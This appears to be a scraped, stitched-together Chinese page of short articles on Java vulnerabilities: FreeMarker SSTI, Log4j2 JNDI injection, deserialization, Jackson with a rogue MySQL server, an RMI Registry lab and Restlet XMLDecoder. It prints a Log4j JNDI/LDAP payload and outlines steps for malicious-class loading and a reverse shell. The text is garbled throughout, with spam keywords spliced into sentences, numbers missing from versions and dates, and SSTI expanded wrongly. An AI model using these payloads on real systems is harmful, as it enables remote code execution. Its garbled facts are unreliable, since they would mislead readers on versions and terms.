1.Java FreeMarker模板引擎注入深入分析
2.手把手教你复现 Log4j2 漏洞，源码千万别中招！漏洞
3.JAVA 反序列化漏洞（JAVA 反序列化相关知识概述）
4.核弹级漏洞！源码我把log4j扒给你看！漏洞
5.Java进阶Jackson安全漏洞，源码可导致服务器文件被恶意窃取
6.如何防范最新的漏洞贷超后台源码Java平台漏洞？
Java FreeMarker模板引擎注入深入分析
深入理解Java FreeMarker模板引擎的注入漏洞
在漏洞挖掘和安全研究中，FreeMarker模板引擎的源码注入问题引起了关注。相比于其他模板引擎，漏洞如Thymeleaf，源码FreeMarker的漏洞注入攻击机制有所不同。本文主要聚焦于FreeMarker的源码SSTI（Site-Specific Template Injection）。
FreeMarker 2.3.版本是漏洞本文研究的基础，它的源码工作原理涉及插值和FTL指令。插值允许数据模型中的漏洞数据替换输出，如在.ftl文件中使用${ name}。源码FTL指令则像HTML一样，但以#开头，提供了更丰富的功能。然而，FreeMarker SSTI的触发需要特定的攻击流程：首先，HTML需要被引入服务器，可通过上传文件或利用带有模板编辑功能的CMS。
攻击的关键在于，FreeMarker SSTI不像Thymeleaf那样仅通过传参就能触发RCE。它需要将HTML转化为模板才能触发漏洞。环境搭建需要一定的基础，但这里未详述，推荐自行查阅。漏洞复现过程表明，攻击需要将HTML插入模板文件中，且利用了freemarker.template.utility.Execute类中的命令执行方法。
漏洞分析涉及MVC架构和FreeMarker的模板加载流程。通过Spring的DispatcherServlet，HTML被转化为FreeMarkerView实例，然后在processTemplate和process方法中进行渲染。其中，对FTL表达式的处理涉及复杂的visit和eval方法，这些步骤确保了命令执行的条件和安全性。
FreeMarker的内置函数new和api为攻击者提供了可能，但官方在2.3.版本后默认禁用了api函数的使用，以加强防护。通过设置TemplateClassResolver，可以限制对某些危险类的jmeter启动源码解析，从而减少攻击面。
小结：FreeMarker的SSTI防护相对严格，尽管存在攻击面，但其内置的防护机制和版本更新为安全提供了保障。深入研究FreeMarker源码是了解其安全特性和可能绕过的必要步骤。
手把手教你复现 Log4j2 漏洞，千万别中招！
Apache Log4j2是广泛应用的Java日志框架，然而近期曝出的漏洞引发了广泛关注。本文旨在手把手教你复现实现Log4j2漏洞，避免成为攻击目标。首先，让我们了解Log4j2的基本信息。
Apache Log4j2是一个开源Java日志框架，因其灵活和强大的特性被广泛使用于中间件、开发框架及Web应用中。理解这一背景有助于我们深入探讨漏洞的实现过程。
Log4j2的漏洞主要源于其递归解析功能，未经身份验证的攻击者通过特定恶意数据包，能在目标服务器上执行任意代码，造成严重安全风险。该漏洞影响范围广泛，涵盖Apache Log4j 2.x <= 2..0-rc1 版本。
要复现实现Log4j2漏洞，请遵循以下步骤进行环境搭建与漏洞利用：
1. 创建Maven项目并导入Log4j依赖包，这是基础步骤，确保项目的构建环境符合漏洞利用要求。
2. 利用POC测试漏洞。编写恶意类Exploit.class，这需要熟悉Java类的构建与编译。
3. 在本地开启一个LDAP服务，结合marshalsec-0.0.3-SNAPSHOT-all.jar，执行Poc.java文件，以访问并执行恶意类中的特定命令。
在执行过程中，需要考虑异常处理，如官方在RC2版本中对异常捕获的改进，以提高攻击的复杂度和逃避检测的可能。此外，使用特定的数据包如 "?Type=A Type&Name=&Char=!" 可能绕过某些版本的修复。
对于修复方式，Apache官方已发布新版本并提供补丁，selenium源码截图强烈建议用户及时升级至最新版本。同时，采取临时措施进行漏洞防范，具体方法可参考官方文档及第三方安全指南。
总结，复现实现Log4j2漏洞需具备一定Java编程及安全测试技能，通过正确利用漏洞，可以有效测试系统安全性。为避免实际应用中的安全风险，定期更新软件、加强安全意识及采取多层防护策略是必要的措施。
JAVA 反序列化漏洞（JAVA 反序列化相关知识概述）
Java 反序列化漏洞严重威胁了Java技术平台的安全，年的Apache Commons RCE漏洞和随后WebLogic等产品的远程代码执行漏洞凸显其广泛影响。国内重点单位内网广泛应用Java，尤其是WebLogic和Websphere，使得这个漏洞尤为危险，可能导致系统被黑客控制和数据泄露。
序列化与反序列化是Java中对象数据的存储与恢复过程。ObjectOutputStream用于对象的序列化，而ObjectInputStream负责反序列化。对象要能被序列化，需实现Serializable或Externalizable接口。前者采用默认方式，后者则由类自身控制。在开发中，可以通过search.maven.org和mvnrepository.com下载所需的jar包。
值得注意的是，序列化数据通常以特定的十六进制格式"aced "或经过base加密的"rO0AB"开头，这些特征在分析通信数据包时至关重要。一旦这些应用中的反序列化过程被恶意利用，就可能导致系统面临安全威胁，黑客能执行任意命令，对系统造成破坏或窃取数据。
在搭建环境和处理数据时，务必确保对序列化操作的严谨控制，及时修复安全漏洞，以防止此类漏洞引发的严重后果。
核弹级漏洞！我把log4j扒给你看！
大家好，我是轩辕。
日志系统对于程序运行状态的展示源码thinkphp监控和问题排查至关重要，Java技术栈中常用的日志输出框架有log4j2和logback。今天，我们将聚焦于log4j2，探讨其强大的查找功能——Lookup，以及其中的JNDI和LDAP组件。
通过日志，我们能了解程序运行情况，识别问题所在。在Java中，log4j2允许输出程序变量，但有时我们需要输出不在程序内的Java对象。这时，Lookup功能便派上了用场，它允许我们在输出日志时通过特定方式查找内容。
Lookup相当于一个接口，具体查找方式由实现模块决定。log4j2提供了常见的查找途径，但重点在于JNDI组件。JNDI即Java Naming and Directory Interface，提供目录系统，实现服务名称与对象关联，方便开发者使用名称访问对象。
理解JNDI就像使用字典查找单词一样，通过名称获取对象。虽然实现方式复杂，但对于开发人员来说，只需简单地调用JNDI接口传入名称即可获取对象。
在网络安全中，重要的一点是不信任用户输入的信息。因此，当程序将浏览器类型记录为日志时，需意识到User-Agent属于外部输入，可能包含恶意内容。若攻击者构造了特定的HTTP请求，User-Agent包含JNDI扩展内容，如${ jndi:ldap://.0.0.1/exploit}，则程序将尝试通过JNDI查找对象。
程序解析字符串，发现JNDI扩展，进一步解析至LDAP协议，获取服务器地址与查找键。最终，法币交易源码通过具体实现模块请求对应数据。但危险在于，攻击者可以请求远程Java对象。Java对象通常存储在内存中，但可通过序列化方式在文件中或通过网络传输。更危险的是，JNDI支持远程下载class文件，构建对象。
核心问题在于Java允许通过JNDI远程下载class文件来加载对象。如果远程地址被攻击者控制，且下载的class文件包含恶意代码，将导致远程代码执行（RCE），造成严重安全威胁。这一机制在年的Black Hat大会上已被披露，强调了Java在日志输出中使用JNDI时的安全风险。
这一漏洞影响范围广泛，因为log4j2在Web、后端开发、大数据等领域应用广泛，包括阿里巴巴、京东、美团等大型公司以及中小企业。许多中间件如kafka、elasticsearch、flink等也是用Java语言开发，大量使用log4j2作为日志输出，一旦有外部参数混入，将面临远程代码执行的风险。
为解决此问题，新版本的log4j2已进行了修复，限制了JNDI lookup的功能。开发人员应立即升级到最新版本，并检查程序中是否有外部参数混入日志输出的风险。通过检查和升级，可以有效减少安全漏洞，保护系统安全。
Java进阶Jackson安全漏洞，可导致服务器文件被恶意窃取
在最近对Java框架的更新中，发现Jackson也存在一个值得注意的安全漏洞，可能导致服务器文件遭受恶意窃取。这个漏洞虽然存在已久，但由于人们对Jackson的认知不足，往往低估了其问题数量。实际上，Jackson的问题同样不容忽视，如Fastjson一样，问题频发可能源于使用频率高。
漏洞的关键在于，使用Jackson 2.9.9之前的版本，如果应用依赖mysql-connector-java，那么攻击者可以通过构造特殊字符串，利用Jackson的Default Typing特性，创建一个具体的实例。接着，利用MySQL的LOAD DATA LOCAL INFILE功能，恶意服务可以读取客户端的任意文件，例如敏感的密码文件。MySQL官方文档指出，理论上，攻击者可以构建一个伪装服务器，控制客户端传输文件，从而导致文件泄露。
漏洞的触发点在于MySQL JDBC驱动中的配置，如allowLoadLocalInfile默认允许从本地读取文件。通过Jackson的反序列化，可以利用com.mysql.cj.jdbc.admin.MiniAdmin类创建连接到恶意服务的JDBC连接，进而窃取文件。已有的恶意MySQL服务如Rogue-MySql-Server可以作为攻击示例。
为保护系统，建议采取以下措施：避免使用Object作为Jackson反序列化的目标，以减少风险；及时更新序列化工具，尤其是Jackson，确保安全版本的使用。在生产环境中，警惕任何可能的恶意JSON输入，MySQL自8.0.开始已将allowLoadLocalInfile默认设置为禁用。
如何防范最新的Java平台漏洞？
如何防范最新的Java平台漏洞？
针对Java平台的攻击正逐渐抬头，安全研究人员提出了一些方法，以保护计算机免受针对Java平台的攻击。在甲骨文未提供官方补丁之前，用户可通过这些方法降低系统遭受攻击的风险。
未经授权执行应用是Java平台上最常见的漏洞类型。安全专家Adam Gowdiak发现了Java 5、Java 6及Java 7平台上的漏洞，黑客可通过此漏洞在超过亿台装有Java的Mac和PC机上安装恶意软件与病毒。安全公司FireEye的研究人员也曾宣布发现了Java平台的安全漏洞。用户通过启用了Java插件的Web浏览器访问网页时，会被悄悄执行内嵌在其中的恶意代码。
甲骨文发布了一些补丁声称修复了一些漏洞，但未来是否还会出现新的漏洞？若出现新漏洞而暂时无补丁程序，用户应如何应对？
为保护系统、避免安全漏洞攻击，大多数安全专业人员建议卸载Java或至少禁用浏览器中的Java Web插件。美国计算机紧急响应小组(US-CERT)发布了禁用Java插件的具体方法，这能有效缓解Java新安全漏洞风险。
然而，这种方法显得有些因噎废食。依赖Java平台Web应用程序的企业不能因安全漏洞停掉运营中的业务。Sophos高级安全顾问Chester Wisniewski表示，大多数消费者或许不需Java平台，但许多企业用户的应用确实需要Java，如GoTo Meeting和WebEx。
Qualys首席技术官Wolfgang Kandek提出解决方案，利用IE浏览器中基于区域的安全机制，限制网站加载Java应用的权限。Kandek建议用户在互联网(Internet Zone)中禁止使用Java，然后允许Java只在信任区域(Trusted Zone)中加入白名单的网站上运行。同时，Chrome和Mozilla Firefox的用户启用点击播放功能也能达到类似效果。Chrome和Firefox的用户可通过高级设置或“about:config”界面激活点击播放功能。
安全策略应因人而异，最适合的策略既要看对Java平台的应用程度，还要考虑企业现有安全状况。将某一种策略普适于所有人显得不切实际。
学习Vulhub的Java RMI Registry 反序列化漏洞(<=jdk8u)
本文将探讨Java RMI Registry中的反序列化漏洞在Vulhub环境中的实践，特别是在JDK 8u及以下版本中的应用。RMI，即Java远程方法调用，允许在不同Java环境间进行远程调用，然而，其远程bind功能的滥用可能导致安全问题。当Registry接收到伪造的序列化数据，特别是那些实现了Remote接口或动态代理对象的数据时，恶意攻击者可能会利用这个漏洞触发反序列化攻击。
首先，确保你已在Docker环境中设置了Vulhub，并进入相应的目录，准备复现这个漏洞。实验开始时，RMI Registry会监听端口。你可以通过访问dnslog，执行"get subdomain"操作进行初步测试。
在另一台机器上，你需要提前下载ysoserial-all.jar工具。执行特定命令后，查看dnslog上的访问记录，观察异常行为。在尝试反弹shell时，直接的bash方法可能无效，但可以利用漏洞下载文件。采取间接方式，比如准备一个sh文件，进行下一步操作。
接下来，你需要设置一个web服务，以便接收并执行从远程反弹的shell。通过下载并执行准备好的sh文件，最终验证shell反弹是否成功。
完成实验后，别忘了清理漏洞环境，以确保安全。
Restlet XMLDecoder 远程代码执行漏洞分析(CVE--)
在整理Java Web组件命令执行漏洞时，我发现了一起年Restlet框架的XMLDecoder反序列化漏洞(CVE--)，该漏洞允许远程攻击者通过恶意XML数据或二进制数据执行任意Java代码。该漏洞与Weblogic的CVE--类似，但鲜有详细分析。
Restlet是Java的一个Web API框架，旨在映射REST概念与Java类。2.1.2版本存在安全漏洞，由于使用了XMLDecoder处理用户控制的XML和二进制数据，可能导致远程代码执行。CTO上有个示例演示了攻击方式，关键在于XMLDecoder在解析用户输入时处理不当。
要复现漏洞，可以参考GitHub上的测试环境。在Linux上，通过命令行运行，或在Windows中使用IDEA远程调试。修复方案是作者在Restlet框架中移除了默认支持的XML序列化JavaBean，并添加了安全警告。
在分析过程中，我们看到攻击者通过PUT请求，利用Content-Type为application/x-java-serialized-object+xml的特性，触发XMLDecoder的反序列化操作，进而执行远程代码。需要注意的是，某些方法如getText()仅允许单次读取。
最后，虽然修复了漏洞，但深入研究Restlet和XMLDecoder反序列化加深了对安全的理解。对于技术交流和学习资源，作者在微信公众号和知识星球分享相关文章和心得，欢迎大家关注。
微信公众号：每日分享安全笔记与知识成长内容。
知识星球：《安全学习记录》，已发布篇主题，每日更新，费用门槛为避免频繁索取。
深入分析Log4j 漏洞
Apache Log4j 是一个基于 Java 的日志记录工具，拥有丰富的特性，包括高性能、低垃圾收集和插件系统等。它被广泛应用于互联网公司和知名开源框架的系统中。然而，在年月7日，Log4j 发现了一个严重的漏洞，黑客可以利用该漏洞在目标服务器上执行任意代码，导致服务器被控制。据统计，%以上基于 Java 开发的应用平台受到了影响。本文将深入分析这一漏洞的产生原因和修复方法。
Log4j 的 lookup 功能允许快速打印包括运行应用容器的 docker 属性、环境变量、日志事件、Java 应用程序环境信息等。在本次漏洞中，问题出在 Log4j2 组件中 JndiLookup 实现类的设计缺陷。这个类存在于 log4j-core-xxx.jar 中。通过 lookup 功能，攻击者可以构造特定字符串触发漏洞，从而在目标服务器上执行任意代码。
漏洞产生主要与 MessagePatternConverter#format 方法中的处理逻辑有关。当配置存在且 noLookups 为 false（默认值）时，方法会通过 getStrSubstitutor() 替换原有字符串，如 ${ java:runtime}。由于没有白名单限制，攻击者可以构造任何字符串，只要符合 ${ 即可。进一步分析，事件处理在 Interpolator#lookup 方法中进行，支持多种类型，如 date、jndi、java、main 等。构造的事件如果为 jndi，则通过 JndiLoopup 处理，从而触发漏洞。
受影响的 Log4j 版本范围为 2.0-beta9 到 2..0-rc1。Log4j 1.x 版本不受此漏洞影响。主要受影响的框架或组件包括 RMI、JNDI 等。
以 RMI 服务为例，展示 Log4j 漏洞的复现过程。RMI 允许计算机之间进行远程方法调用，客户端通过存根与服务器端骨架进行交互。攻击者可以构造特定的 RMI 请求，利用 Log4j 漏洞在目标服务器上执行任意代码。在实际案例中，通过修改代码，攻击者可以在测试类中打印出任意内容，实现对服务器的控制。
解决该漏洞的关键在于更新到 Log4j 的安全版本。开发者应密切关注 Log4j 的安全更新，并及时升级到最新版本以修复这一漏洞。此外，对于敏感的应用场景，建议采用白名单过滤机制限制 lookup 的数据来源，以提高系统的安全性。
